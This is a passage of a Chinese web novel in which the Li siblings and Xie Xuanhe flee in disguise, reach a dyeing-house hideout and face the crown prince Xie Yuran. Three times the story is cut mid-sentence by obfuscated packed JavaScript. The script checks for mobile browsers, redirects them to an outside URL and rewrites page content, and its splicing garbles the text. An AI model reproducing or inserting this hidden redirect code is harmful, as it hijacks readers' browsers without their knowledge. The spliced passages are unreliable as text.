朝议陷入僵局,百官心思各异,入宫上朝前,他们都看过了那封问罪书,得知了上头的那位谋害了自己的亲兄弟。 皇室相残不是什么稀奇事,但是不管怎样,这么做总归是不光彩的,现下又被用这样激烈的方式暴露在普罗大众面前,实在是难以收场。 整个大殿笼罩在压抑和紧张的静默之中,百官连动作和呼吸都变得小心翼翼起来,生怕自己细微的举动会引起注意。 他们有的明哲保身,缩起头对眼前的状况视若无睹,有的则转着眼睛四处乱瞟,渴望了解其他同僚的想法。 半晌,又有几名官员出列,他们是朝中的清流,接连表明了与林文正一样的态度。 这个说此时痛下杀手,必使群臣惶惶,百姓不安,恐激起更大的波澜,那个谏当务之急该表达宽大处理的态度,并试着安抚挽回。 景帝紧咬着后槽牙,居高临下地望着跪在地上的那几道身影,心里本就不悦,这些所谓的规劝听得他血气快速上涌。 他一再克制,终于压抑住喷薄欲出的怒气,咬牙切齿地吐出一句话:“好,朕可以不伤她们,但她们不得踏出客郡半步。” 虽然不甘心,但是冷静下来想想,他的确不应当再对老弱出手,至少明面上不该如此。 再说,杀了她们,也只能泄一时之愤罢了,而留着她们,他就永远有拿捏黎家人的资格。 …… 清晨,黎书意被鸟雀的喧嚷给吵醒了,张开朦胧的睡眼扫视房内,看见的是斑驳掉漆的佛像,以及墙角横结的蜘蛛网,这令她的神色有一丝丝的懵懂和迷茫。 缓了一会神,她终于想起来了,昨天夜幕降临以后,跋涉了一路的他们发现了这座荒废已久的寺庙,然后便在这里落脚了。 拉开身上盖着的衣物,她从香案上慢慢直起身子,案上只铺了些许干草,躺了一夜,此刻她整个人腰酸背痛的。 旁边,兰亭还在熟睡,她双唇蠕动着,像是在咀嚼什么美味的食物一样,黎书意小心翼翼地挪动身子,在不吵醒她的情况下下床了。 走到外殿,发现谢烜赫、纯钧和其他几位阁中暗卫早就起身了,他们的发髻和衣服都很整洁,手里还拿着斗笠。 见状,她快步上前,脱口问道:“你们要去哪?” 谢烜赫回:“吃的快没了,得去街上买些。” 要上街,为了不暴露行踪,他们刻意往人烟稀少的荒山野岭走,街上人那么多,一旦露面便会留下痕迹,她有些担心。 “放心,我会没事的。”谢烜赫柔声抚慰。 整日待在一起,黎书意知道吃食确实快没了,这一行是免不了的,所以她即便再担心也没有阻拦,最后只道:“注意安全,我等你们回来。” 站在寺庙门口送走了谢烜赫一行人,她折回院中,然后来到古井边,准备打水。 她低头看向自身,身上的衣物还是出逃那天穿的那一身,因为长时间在山林里走动,难免刮擦到,此时裙摆上沾了不少污泥和青草的痕迹。 再抬起袖子一嗅,她的衣服都是熏了香的,几日未换,香气已经散尽,幸亏是早春,天气还有些寒凉,不至于发臭。 之前因为条件不允许,她只能用布巾擦身,身上始终有股粘腻感,这里有水,也有厨房,就打算洗一下。 正在打水之际,兰亭打着哈欠出来了,看见她自个儿忙活,忙走过来道:“二姑娘怎的不叫婢子?” 想起她刚才熟睡的样子,黎书意笑说:“我看你梦里吃鸡腿吃得正香呢!” 兰亭闻言脸一红,一边助她拉上水桶,一边道:“二姑娘爱洁,婢子昨夜看到这里锅灶尚好,一会婢子烧水,帮二姑娘沐浴。” 是以,洗漱完,兰亭即刻行动起来,黎书意闲来无事,便跟在一旁。 她看着兰亭将拾来的柴火扔在灶膛里,又铺了层枯叶子,然后掏出火折子点火,然而第一次没有燃着,只生出一堆黑烟。 “婢子好些年没生过火了……”兰亭尴尬地抬头看她。 这丫头是自己身边的大丫鬟,吃穿用度比一般家庭还要好上不少,做这些也真是难为她了,想到这,便问重新点火的人:“苦不苦?” “不苦。”兰亭摇头,手继续在灶膛里忙乎着。 兰亭说的是实话,未进府之前她可是连树皮都吃过的,不过毕竟由简入奢易,由奢入简难,她还需要适应一段时间。 令她意外的反倒是二姑娘,身为高门大户的小姐,衣食住行样样精致考究,如今却日日食干粮野菜,露宿在荒郊野岭,竟然是一声都不曾抱怨过。 …… 街市林立,人流如织,一踏入城镇,喧嚣与热闹扑面而来。 这几日,与鸟兽虫鱼为伍惯了,乍来到人烟阜盛之地,谢烜赫有些恍惚,他驻足街头,望着汹涌的人潮。 从传出父王造反以来,他便开始躲躲藏藏,后来好容易找到了藏身之所,却不得不改头换面。 然而,安生不到一年,现在他又过回了老鼠一样的生活,四处逃窜,见不得光,明明他什么都没做错,却活得这般屈辱,他发誓他一定要堂堂正正地站在阳光之下。 短暂的失神过后,他收回了视线,对一旁的纯钧道:“一个时辰后在这里集合。” “是。”纯钧微一点头,旋即带着四名部下转头离开了。 谢烜赫紧跟着也迈出步子,他目标明确地往前走去。 街道左边有一间茶水铺,店面不大,茶棚里只摆了四张方桌,店老板正在灶台前烹茶。 “老板,来一碗茶。”谢烜赫径直走入茶棚内,然后在角落的空桌前坐下。 不多会,老板提着茶壶走了过来,热情招呼道:“客官,您的茶。” 说完,他倾倒手中茶壶,将茶汤注入瓷碗,倒茶时,他移目四扫,在确定没有人注意这里的动静后,便将脸往里侧收,同时压低声音道:“大将军收到书信后便启程了,目前在玉羽大洪县,黎少将军也已经赶到韩卢滑县。” 听完情报,谢烜赫几不可见地点了下头。 瓷碗中茶汤已经盛满,老板不再多停留,拎着茶壶折身回去了。 尽管谢烜赫并不渴,但他还是抬起瓷碗将茶汤一饮而尽,并将事先写好的密信悄无声息地移到碗底,接着他搁下碗,又掏了几文钱放在案上,便起身离开了茶棚。 站在街头,他举目四望,思索着接下来该做什么,这时,对街的喧闹吸引了他的注意力,扫见那块一丈高的木制布告栏,又留意听了一下民众们的议论,他迈步穿街来到对面。 布告栏前面挤满了男女老少,大家伙正在七嘴八舌地议论着,他个子高,即便站在最外围,也能将布告栏上的情况看个七七八八。 只见那木板上贴着三张画像,一共一女两男,每一张面孔他都深深刻在脑子里,赫然就是黎书意、黎长策,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545765|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有他自己。 他望着属于自己的那一张画像,画上的人还戴着面具,一旁的文字介绍说他是将军府的副侍卫长,名叫时野,协助黎家兄妹抗旨出逃,期间打伤无数官差,犯罪情节严重。 用一张真实的人像定然要比戴面具的画像更好锁定,怎么不用呢,他在心头冷笑一声,不想透露他的身份吗,只是恐怕不能如你的愿了,皇叔。 思绪浮动间,周围的议论清晰地传入耳中。 一老翁一副想不明白的样子,皱眉感慨道:“黎家人怎么可能造反?” “是啊……”其他人附和着。 “哎……这黎少将军年轻有为,明明未来可期,这黎二姑娘才貌双全,正值青春年华,实在可哀可叹……” 大家伙各抒己见。 谢烜赫将目光移到中间的那张画像上,通缉令的笔触粗枝大叶,连本人的半分神韵都没描绘出来,但仍然能看出女子五官精致,容颜绝色。 想到这一路上黎书意吃的苦受的累,他心中疼惜不已,发了一会愣,他回过神,悄无声息地走开了。 这通缉令给他提了一个醒,往后的路不像之前一样可以避人耳目,黎书意相貌出众,很容易被认出来,需要乔装。 在街上扫了一圈,找到服装铺后他径直入店,为了方便行动和达到乔装的效果,他最终挑选的是男装。 快速购完衣裳,他出了店铺,走了没几步,一股香气飘进鼻中,他顺着香味找寻,看到了斜对面的糕点铺。 虽然黎书意未置一词,但是他知道她吃不惯干粮,想着难得上街一趟,他最终朝斜对面走去,在店里挑了些符合她口味的点心。 提着糕点走出铺子,他回到约定的地点。 …… 荒寺内,黎书意和兰亭围着锅灶忙碌了许久,热水终于烧好了,两位姑娘合力将水抬入昨夜睡觉的内殿。 将门关好,黎书意褪下衣裳,抬足缓缓步入桶中,然后坐了下去,她慵懒地靠在桶壁处,背后兰亭动作轻柔地为她撩水搓背。 刚刚好的水温像是一剂良药,在洁净肌肤的同时,也让身上的疲乏得到了缓解,此时她整个人变得舒懒放松。 昏昏欲睡之时,门外传来两道叩门声,她闻声顿时警觉起来,兰亭也停了撩水的动作,阁里的暗卫知道她们在沐浴,都避嫌躲得远远的,会是谁? 两人悬着心静听,闻外面传来一声轻咳,接着听见谢烜赫轻声道:“我在铺子里买了两身衣裳,一会你和兰亭换上。” 熟悉的声音让黎书意的心落定,她回道:“好。” “东西我放在凳子上了。” “嗯。” 下一刻,脚步声渐渐远去了,盯着紧闭的房门,黎书意忍不住发出轻笑,虽然看不见表情,但听语气谢烜赫显然是害羞了。 也是,毕竟同行的都是一群大老爷们,也只能由他亲自来送了,笑过之后,她转头对兰亭道:“去拿进来吧。” 兰亭点头去拿衣服。 由于条件不允许,黎书意没有像在家里时那样泡两刻钟,快速洗完,她走出浴桶。 兰亭拿着布巾走过来,要给她擦身,她抽过布巾道:“我自己来就好,你也去洗一下吧。” 兰亭依言,脱下衣服进入尚有温度的水中,然后快速动手沐浴。 擦过身后,黎书意从凳子上拿起谢烜赫送来的衣裳,这是两套男士粗布麻衣,一套黄一套绿,她挑了绿色的那一身。 穿好衣服,她偏头擦拭长发,等兰亭洗好了,她的头发已经差不多干了。 兰亭换上黄色麻衣,然后朝她走过来,动手替她束发,先前满头的珠钗早就因为不便行动被摒弃了,只留了一根固定的白玉簪。 发髻梳好,黎书意起身,走到木桶里照着水面一看,水里映照出一个玉面小公子。 替她束了发,兰亭又动作麻利地给自己束发,最后主仆二人一道出了内殿。 107. 汇合 朝阳渐高,日光热烈铺洒,寺庙被映照得一片金黄,温暖而充满朝气。 黎书意去了侧殿,到那里,见谢烜赫正在与下属交谈。 说完正事,暗卫们各自行动起来,谢烜赫将视线移到站在门边的黎书意身上。 少女身穿青色麻衣,头上用白玉簪绾了个圆髻,她身量本就比寻常女子高些,如此一看,当真宛若一个秀气书生。 记得从前,为行方便,她也穿过几回男装,当时走在街上,有不少女儿家对她侧目而视,都问是谁家的好儿郎。 发现对面的人盯着自己看,黎书意慢吞吞走上前去,以为是衣服有问题,有些不自在地问:“很奇怪吗?” “不,很适合。”谢烜赫说,顿了顿又道,“接下来要走的路路上人多,委屈你了。” “这有什么委屈的。”黎书意在一旁的桌子坐下,旋即侧头问,“对了,我父兄那边可有消息?” “你父亲现在在大洪县,你兄长已经到了滑县。” 闻言,黎书意心头振奋,再过几天就能见到他们了。 笑容刚在唇边漾开,一道不大不小的“咕噜”声突兀地响起,知道是自己肚子发出的叫声,她不知所措,两颊开始发热。 这时听见旁边的少年轻笑了一声,她更尴尬了,霸道地命令道:“不许笑。” “好,我不笑。”谢烜赫嘴上说着不笑,可唇边的弧度却是一点没收着。 黎书意十分不满,待要说话,见他将一个油纸袋放到她面前,“那边已经在烧饭了,你先吃点糕点垫垫肚子。” 一听这话,她的气恼一扫而空,心里暖融融的。 她是真的饿了,想着方才已经尴尬过一回了,此刻便彻底抛下面皮,她抽开打包的细绳,揭开沾了油的纸袋,拿起一块糕点吃了起来。 考虑到之后还有好一段路要走,弄点糕点不容易,只用了一块她便不再吃了。 过了一会,兰亭进屋,通知说是饭菜已经做好了,于是两人移步去了主殿。 到主殿,见里头摆起四张桌子,每张桌子放了四碟菜,一眼望过去全是绿色,这都是阁中暗卫们方才就近找的野菜。 尽管全是清苦的素菜,烹饪方法也仅局限于清炒,但对于风餐露宿许久的人来说,这顿饭已经算得上丰盛。 吃至尾声,碗碟里不见米粒和菜渣,只剩下一堆空盘,饱餐完,大家懒散地坐在桌边放空。 稍事休息,他们行动起来,一行人收拾行囊,一行人清理干净痕迹。 这座荒寺虽在近郊,但远没到远离人烟的地步,若是有人路过,听见里面传出的动静,指不定就报官前来一探究竟,在这种敏感时期,他们必须得万分小心。 歇午时分,他们动身离开了荒寺,再次踏上了逃亡之路。 长到十六七岁,黎书意的活动范围十分有限,出门都是由别人带着走的,乌金宿县对于她来说只是地理志上的名字,这一路她便是跟着谢烜赫计划的路线走。 正如他所言,后面的路不再是荆棘遍布的深山老林,而是鸡犬相闻的乡村。 四五十人的队伍,走在乡野间很难不被注意到,为避免被认出来,他们做了点伪装。 除了她和兰亭,同行的都是祈安阁的暗卫,他们个个体格健硕,面容刚毅,为了符合形象,最终便伪装成走镖的。 虽说卸下了面具,谢烜赫如今的模样很难与通缉令上的画像产生联系,但到底身高和体形是一模一样的,保险起见,镖队的镖头由纯钧来做,他和其余暗卫则是镖师。 兰亭个子娇小,加上心理素质也一般,此时再扮男子显然不合适了,因此分配给她的角色是镖队里的厨娘。 为杜绝黎书意被认出的可能,她则继续女扮男装,不过由于她的体格与一众暗卫相差太大了,于是安排给她的身份是随队大夫。 关于走镖的物品,他们选择运送布匹,这是所去据点樊记染房的表面营生。 除了两餐和夜宿,他们从不停下,也很少与途经村庄的村民们闲话。 少了迂回曲折的山道,行进的速度提高了许多,用了一天一夜,他们进入了乌金境内。 距离逃出孟章已有七日,朝廷下发的海捕文书早已遍布各地,无论他们走到哪里,都能碰见官差巡视搜查,前行的路上备受阻拦。 好在这里并非天子脚下,执行程度没那么严格,在摸清巡逻规律,找出防守漏洞以后,最终给他们惊险地避过去了。 为降低暴露的风险,他们没有宿在客栈,而是选择在荒郊野外扎营,等次日一早再继续赶路,在正午时分,终于抵达宿县了。 马悠闲地踱着步向前行,黎书意坐在马背上远望,高大的城门上写着“宿县”二字,她见后不禁长舒了一口气,与官差们斗智斗勇许久,总算是到了,分离了数天,她等不及想与兄长见面。 视线往下移动,望着缓缓挪动的长龙,以及城门口把关的数十名守卫,她轻叹了一声,在此之前,还得先把这关给过了。 走镖队伍徐徐前行,续在进城的长队后面,等待着盘查,黎书意也从马上下来了。 进城的人其实不算多,但是队伍移动的速度却很慢,守卫将每个进城的人的脸与通缉令上的画像仔细比对,又认真检查了携带之物,确认没有问题了才点头放人。 望着越离越近的城门口,黎书意的手开始不安地揉捏缰绳,等待的每一刻对她而言都很煎熬,她希望快一点轮到他们,可当真轮到他们了,她又巴不得永远轮不到。 出于谨慎考虑,领头的纯钧仔细乔装过,他做出镖头的派头,走上前两步,爽快地与守卫寒暄起来,然后示意手下奉上通关路引。 守卫头领接过路引仔细看起来。 黎书意的目光也落到那堆纸张上,尽管清楚路引绝对以假乱真,她还是忍不住在心头捏一把汗。 在核实路引的时候,另外几名守卫走过来检查他们的携带物品,看着渐渐靠近的人,黎书意轻轻吞咽着唾沫,然后故作镇定地站着。 一名三十岁上下的男子走到她面前,右手拿着她的通缉画像,目光在她和画像上来回切换。 她情不自禁放缓了呼吸,为了过关,今早出发之前,谢烜赫特意为她易容过,化小眼睛,改大鼻头,然后增厚嘴巴,再还在脸上涂了黄粉。 兰亭看后直呼认不出来,她自觉也与本来面容差异甚大,可此时此刻仍然提心吊胆,神经绷紧。 在快要支撑不住的时候,那守卫的视线终于移到谢烜赫身上了。 通缉令上画的是时野,而非谢烜赫,这两者有诸多的不同之处,加之谢烜赫也略微修饰过了,他不仅将头发染回了从前的黑色,还往面上抹了黄粉,鼻下也贴了胡子,所以轻松通过了核查。 四五十人的走镖队伍,本就是关注的重点,他们这一行人在城门口滞留了将近一刻钟,好在有惊无险,最后成功过关了。 得了通行许可,黎书意急切地准备上马,这几日因她是女扮男装,是以便独乘一马,马术已经较之前精进了不少,可因为心中紧张,第一回她竟是没踩稳马镫。 队伍重又动起来,她驾着马穿过城门,期间一直不敢松懈,直到走出城门好一段距离了,才长舒了口气。 一通过核查,他们就马不停蹄继续赶路,虽然已经在宿县境内了,可距据点还尚有一段路程。 到了傍晚,他们终于赶到了樊记染房。 庄子占地广阔,一步入前院,两排高大的染缸映入眼帘,缸内盛满了各色染料,右手边的空地上横搭着几截长杆,上面晾晒着染好的布料。 在黎书意环视四周的时候,一名二十岁上下的女子走了过来,她对谢烜赫恭敬地行了一礼,然后报说:“偃月见过主子,方天和孟章的暗卫们前日便到了,少将军今晨也刚赶到,现在人正在后院。” 闻言,黎书意面露欣喜,她望向谢烜赫,“我去看看兄长!” “去吧。” 怀着激动的心情,黎书意小跑着往后院去了,瞧见兄长,她加快步伐冲上前去。 黎长策对着朝自己奔过来的陌生男子有些不知所措,看他有意要抱自己,还嫌弃地往旁边避了避。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545766|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现兄长表情僵硬,黎书意奇怪地皱眉,后来想起自己是乔装打扮过的,且用的还是男子身份,忙出声解释:“兄长,是我。” 听见熟悉的清甜声音,黎长策当即明白向他扑来的并非陌生男子,而是自己的妹妹,所以不再抗拒,张开双手拥她入怀。 深深地拥抱了一下,黎长策后倾身子,他望着面前这张小麦色的脸蛋,手摸着下巴评价道:“他这易容术还真不赖。” 兄妹俩正说着,谢烜赫、纯钧和偃月等人走了进来。 两方碰面后开始互诉自身情况,偃月也告知了更多的情报,说是富春姑姑、天元姑姑、毕定边和舒凌寒他们已经相继抵达金错山庄了。 简单聊了几句话,黎书意和谢烜赫这一行后来的人在染房伙计的安排下各自回屋安顿去了。 车马劳顿,风餐露宿,难得有这样一个安逸的落脚地,所以进客房以后,黎书意首先想到的便是要好好沐浴。 卸下脸上的伪装,认认真真洗了个澡,换了身素净的男装,她转去正厅了。 到庄子上时便已日头偏西了,又耽误了些时候,眼下天上黑沉沉的暮色和燃烧的云层正交缠翻滚。 厅中已经点上了灯,里面坐满了人,此时他们正在聊分开行动之后的经历,大家七嘴八舌地交谈着,热闹又和谐。 黎书意含笑跨步入屋,她先问候了几名熟识的侍卫,然后坐在了谢烜赫为她腾出来的位置上。 另一旁的兄长看过来,打量了她片刻后说道:“似乎瘦了,就你那张挑剔的嘴,这几日应当不好过吧。” 她听后不高兴了,虽说近来的吃食她的确不喜欢,但是她也没挑嘴啊,刚想反驳,闻兄长再次开口:“估计着你们今明两天会到,已经让下面的人去准备了,今晚咱们吃顿好的。” 一听这话,她的气全消了。 厅内热火朝天,大家伙边说闲话,边等候开饭。 过了一刻钟,饭菜端上来,诚如兄长所言,这顿饭吃得极好,有煎羊、炸春鹅、鱼羹、骨头汤、炖白菜等。 其实,这些并不如将军府平日所食,但是在经历了吃干粮、野果和野菜之后,这在她看来简直可比龙肝凤髓。 逃亡时期,没什么讲究,大家都素久了,饭菜一端上来,便迫不及待地开动了。 这边厢,黎书意刚从兰亭手中接过饭碗,两双夹着菜的筷子递到她碗前,已经搁进碗里的这双来自谢烜赫,夹的是羊肉,还没来得及搁进碗里的那双来自兄长,夹的是鱼肉。 见被抢了先机,黎长策无所谓地收回筷子,将鱼肉放入自己碗中,临了扫一眼右手边的两人,感叹道:“哎……看来我这兄长的位置不保了啊。” “不会,你是她唯一的兄长。”谢烜赫平静地说。 黎书意坐在两人中间,虽然知道这说的是玩笑话,但却让她心里生出怪异之感来。 一方面是对隐瞒兄长的抱歉,另一方面是对谢烜赫所说之话的悸动,听起来像是在与兄长客气,可实际上否认了他不欲做兄长的心思。 对于这份感情,她心中虽然已经早有决断,但目前实在不是时机,还是先把目前的难关渡过了再说,因此她也就不插入其中,专心地用饭。 通常,她饭只吃到七八分饱便停筷子了,可是久旱逢甘霖,她今晚吃了个十分饱才停筷子。 当她搁下碗筷时,饭局还远未结束,厅里每一桌都聊得热火朝天,这边划拳,那头斗酒,压抑的情绪需要释放出来,难得今天有这样的机会。 她身上有些乏,便先回房了。 刚吃过饭,不宜直接躺下睡觉,于是她同兰亭坐在房里说闲话。 蜡烛燃到一半时,她觉得有些昏昏欲睡了,便让兰亭去备水,打算洗漱完就休息。 只是兰亭还未及出门,门倒是先“砰”一声打开了,看见绿沉站在门外,神色严峻地通知道:“有一队官差来了,已经在门口了!” “什么?!”黎书意从座位上弹起,果然不可能那么顺遂,眼看着胜利在望了,结果还是被发现了踪迹,回过神来她急忙往外跑。 108. 分崩 气喘吁吁赶至院中,见刚才还把酒言欢的众人已经聚在一起,他们手持刀剑,每个人的脸上都流露着认真和坚毅,显然已经做好了战斗的准备。 若非身后还有未来得及收拾的残局,根本想象不出来他们刚才在畅饮。 “兄长!”黎书意朝人群中央的兄长和谢烜赫跑去,人还未行到两人跟前,耳畔传来杂沓的脚步声,那“咔嚓咔嚓”的声响,一听便知道是军靴。 她循声转头,看见一支卫队从门口源源不断地涌入,粗略估计,大约有百人。 她脚下的步子顿时便迈不动了,脑海里充斥着出逃那日的场景,一想到要再经历一次像马厩和城门口那样的厮杀,她的心就止不住地下坠。 怔忡之际,右手被人抄起,她猛地一抬头,目光陷进了谢烜赫关切的眼神里。 “抓紧我的手,千万别松开!”谢烜赫叮咛道,少女的肌肤如同瓷器一般滑腻,也一般冰凉,他紧握着柔弱无骨的手,将她护在身后。 上一回,他想着刀剑无眼,不敢冒险带着黎书意深入战局,结果却让对方钻了空子,害得她无人照看,最后落得被持刀威胁。 尽管她并未受到严重的伤害,可是那种心脏被人握在手里随意拿捏的感觉谢烜赫至今记忆犹新,这一回,他不敢让她远离寸步。 宿县县令郝杰抿唇看着庭院中犹如惊弓之鸟的“反贼”们,心中满是纠结,尤其当他瞧见那被侍卫护在身后的少女,心里的不忍就更重了。 虽说这姑娘的方式剑走偏锋了些,但做的却是一件大好事,况且那江臣身为酷吏,尽干些栽赃迫害、屈打成招的坏事,这些年不知造成了多少冤假错案。 再有,他与大将军,以及这双儿女无冤无仇,他并不想抓他们。 这几日,他一直在暗自祈祷着,希望他们千万别出现在自己管辖的地区内,然而天不遂人愿,他们还是出现了。 尽管心中不愿,但他食的到底是西景的俸禄,那就应该履行自己的职责,轻叹口气,他按章程出言规劝道:“望少将军莫再执迷不悟,快快束手就擒吧!” 毫无意义的话,黎长策根本懒得听,他直接拔剑迎了上去。 郝杰见状一愣,看着逼近的利剑,他忙喊身边的人:“快给我上,最好抓活的!” 夜色昏暗,月明星稀,院落里响起了刀剑的碰撞声,声音密集而激烈,宛如天际炸响的惊雷。 那激昂的交鸣音敲打着黎书意紧绷的神经,她的心突突直跳,不安到了极点。 这时,手上传来一股不轻不重的拉力,感受到紧握着自己的温暖大掌,她的心慢慢恢复镇定,这一次她绝不能再成为人质。 她紧跟在谢烜赫身后,四周不时有兵卒持剑袭来,因打斗间脚步难免会有所移动,她的手不可避免地会被拽到,所以不得不跟着挪步。 为了不让谢烜赫分心,也为了让自己少受点罪,她只得逼自己关注战局,好做出预判,只是手虽不似刚才那样被扯疼了,但没多久力气就有些不够用了。 在谢烜赫又了结一个敌人时,她抽空扫了一眼战局,明显他们这一方占上风,情况还算比较乐观。 然而,当她觉得不是没希望逃走的时候,后院又涌进来一群人,当看清了最后面那身穿紫色锦衣的俊逸少年是谁之后,她愣在原地,忘了要动作。 来的竟然是谢煜然。 但凡外出,谢煜然总是衣冠齐楚,一丝不苟,可今日这个形象被打破了,他脸上明显带着疲态,头冠歪了,衣摆也有些皱,看起来像是匆忙赶来的。 他的意外出现打乱了现场的情况,黎长策停手了,谢烜赫停手了,最后将军府的侍卫和祈安阁的暗卫们也纷纷跟着停手了。 “为什么?”谢煜然步履轻缓地朝前走,他直视着站在对面的黎长策,眼睛里写满了不解。 那夜,黎书意被谢烜赫带走没几个时辰后,父皇和母后便知晓了此事,他被叫进宫痛骂了一顿,接着被禁足一月,因此一直待在府中。 或许是因为这事的严重性,禁足的力度比以往要严格了许多,府里的人不得外出,外面的人不得拜访,所以他连外面的消息都无从得知。 耐着性子熬了几日,府上的看守总算松懈了,他急于知道外面的情况,尤其是关于将军府的,谢烜赫会不会已经恢复身份了,黎书意会不会就要与他结亲了,介于不方便行动,于是他派双戒悄悄出去打探。 可是,他怎么也没有想到,竟然会听到那样的噩耗…… 见双戒回来了,他着急地询问情况,却见双诫两眉深锁,一副纠结为难的模样,在他的命令之下,双诫终于迟疑着开口说道:“殿下,少将军三日前带着二姑娘强闯城门,已经叛逃了……” 他惊愕无比,仿佛被雷电劈中,回过神来后,他连忙追问具体情况,然后从双诫口中得知了父皇因为不满《陈冤录》制造的舆论风波,下旨围了将军府,要求彻底清查黎书意的书稿。 负责办案的官员是侍御史江臣,他为达目的不择手段,根据府中下人所言,清查期间他三番四次挑衅,后来在祠堂闹了不愉快,双方继而大打出手,最终造成了不可挽回的局面,于是两位小主子便选择逃亡了。 从双戒口中囫囵地了解完事情的经过,谢煜然直接转回卧房,匆忙换了一身轻便的衣裳,然后他提上佩剑便往外走。 府上的禁令还未解除,他出门时遭遇了阻拦,可他不管不顾,带着亲随强闯出去。 他没有去皇宫向父皇请命,而是直接驾马出城去了。 在路上,他时不时碰上搜查的官差,他从他们口中了解黎书意谢烜赫一行人的踪迹,然后再自行展开进一步的追寻。 他们行动很谨慎,似乎分了两路,路线十分迂回,让人猜不出要往哪走,从孟章走到韩卢,又从韩卢走到乌金,他兜来转去,还总是落后一步。 最近这几日,得益于他们在城镇里活动,留下了些许踪迹,因此便被排查出来了,得到前后两天时间里,有大批人员出入宿县近郊的染房,他第一时间赶了过来。 直到现在,亲眼看见他们与抓捕的官差厮杀在一起,他还是无法接受挚友的叛变。 见对面的人沉默不语,他放软语气追加道:“我知道在搜查府宅时你们受了江臣的侮辱,我会叫父皇处置他,也会让父皇开恩赦免你们的,跟我回去吧。” 然而,回答他的还是只有沉默。 黎书意看着对面的少年,见他双眸布满血丝,面上是一片赤诚,不禁心口一痛。 别说这背后有隐情,即便没隐情,抗旨不遵,强闯城门,哪一条是可以轻易被原谅的。 她觉得有些话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545767|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是时候说了,于是沉吟了片刻,开口道:“谢煜然,我们回不去的。” “为什么?”谢煜然闻言侧目。 从进来的第一眼,他便看见了手起刀落的谢烜赫,以及站在他身后的少女,还有他们紧紧牵在一起的手。 之前他刻意忽视,现在却不得不面对,这是自那一夜离开后他们首次见面,他预想过无数种情况,只是没想到会是在这种场合下。 “你有没有想过将军府为什么会被清查?”少女不答反问。 他闻言眉毛一跳,“什么意思?” 初听到消息时,他心里有的只是不可置信和无尽的担忧,根本装不下别的想法,可是在追寻踪迹的这一路上,那些疑问一个个冒了出来。 黎书意的行为确实欠妥,但是远不至于得到这样重的处罚,他知道父皇忌惮将军府,这几年多有打压,可这做法怎么看都透着仓促。 另外,通过对将军府的调查,他发现了他们的出逃似乎早有预谋,比如不久前曾经更换过外院的侍卫,还私下变卖了贵重首饰,而府中那几个亲信早就消失得无影无踪了。 “我们不是不想回去,而是不能回去。” 少女声音飘渺,短短的一句话他听出了痛苦、无奈和悲愤等多种情绪,一股不好的预感笼罩在心头,只是他还摸不到关键之处。 他望着同仇敌忾的三人,再想到孤零零的自己,有一种被摒除在外的感觉,初时的悲伤过去,怒意涌了上来。 “你们……”他愤然开口,目光从一个人身上慢慢划到另一个人身上,沉声控诉道,“一个是我最好的朋友,一个是我的亲堂弟,一个是我喜欢的女孩,结果却一起背叛我!” “对不起……”沉默了满场的黎长策这时沙哑着嗓子说话了。 他看着谢煜然,见少年面上带着愠怒,眼底写满了责怪,他感觉自己的心仿佛被什么揪着,隐隐作痛。 从十二岁起,他成了太子的伴读,他们同坐东宫书斋,一起随太傅学习,期间不仅谈诗词歌赋、琴棋书画,也论家国天下、百姓疾苦。 闲暇之余,两人还常偷溜出宫,去体味寻常少年人的乐趣,蹴鞠、骑马、踏青、泛舟……一个不落。 他们曾经许诺过要一同复兴景朝,然而世事难料,他们到底走到了人生的岔路口,尽管感到怅然和痛苦,但这就是他们的命运。 态度诚恳,表情痛楚,可口气是那么的坚决,谢煜然明白自己这趟是白来了,内心不禁生出了深深的无力感,无法对好友动手,他一时失了主意。 谈话陷入僵局,两方就这么沉默地站着。 半晌,黎长策先动了,该说的话已经说了,要打还是要怎么样他都奉陪。 谢烜赫紧随其后,对于谢煜然,他一向情感复杂,在知道父母的死因后则更甚。 见到主子们动了,将军府的侍卫和祈安阁的暗卫也陆陆续续动起来。 宿县的府兵见状握紧了手中兵器,他们战战兢兢,进退两难,最后便求助地望着县令。 郝杰此刻也没了主意,于是转而看向太子殿下,希望由他下令,却见太子殿下如同一尊静立的雕像,陷在自己的情绪里不能自拔,最终郝杰便什么也没做。 见对方不欲动手,黎长策和谢烜赫则更不会动手,他们直接转身往马厩走了。 109. 失望 一到马厩,黎书意谢烜赫一行人快速解开绳索,他们踏上马背,然后策马往侧门走了。 眼下的情况不允许他们有半分的松懈与迟疑,尽管谢煜然看起来是放过他们了,可万一他又后悔了呢。 不想损兵折将,他们头都没有回,只一个劲地往前冲,路上根本不敢有片刻停留。 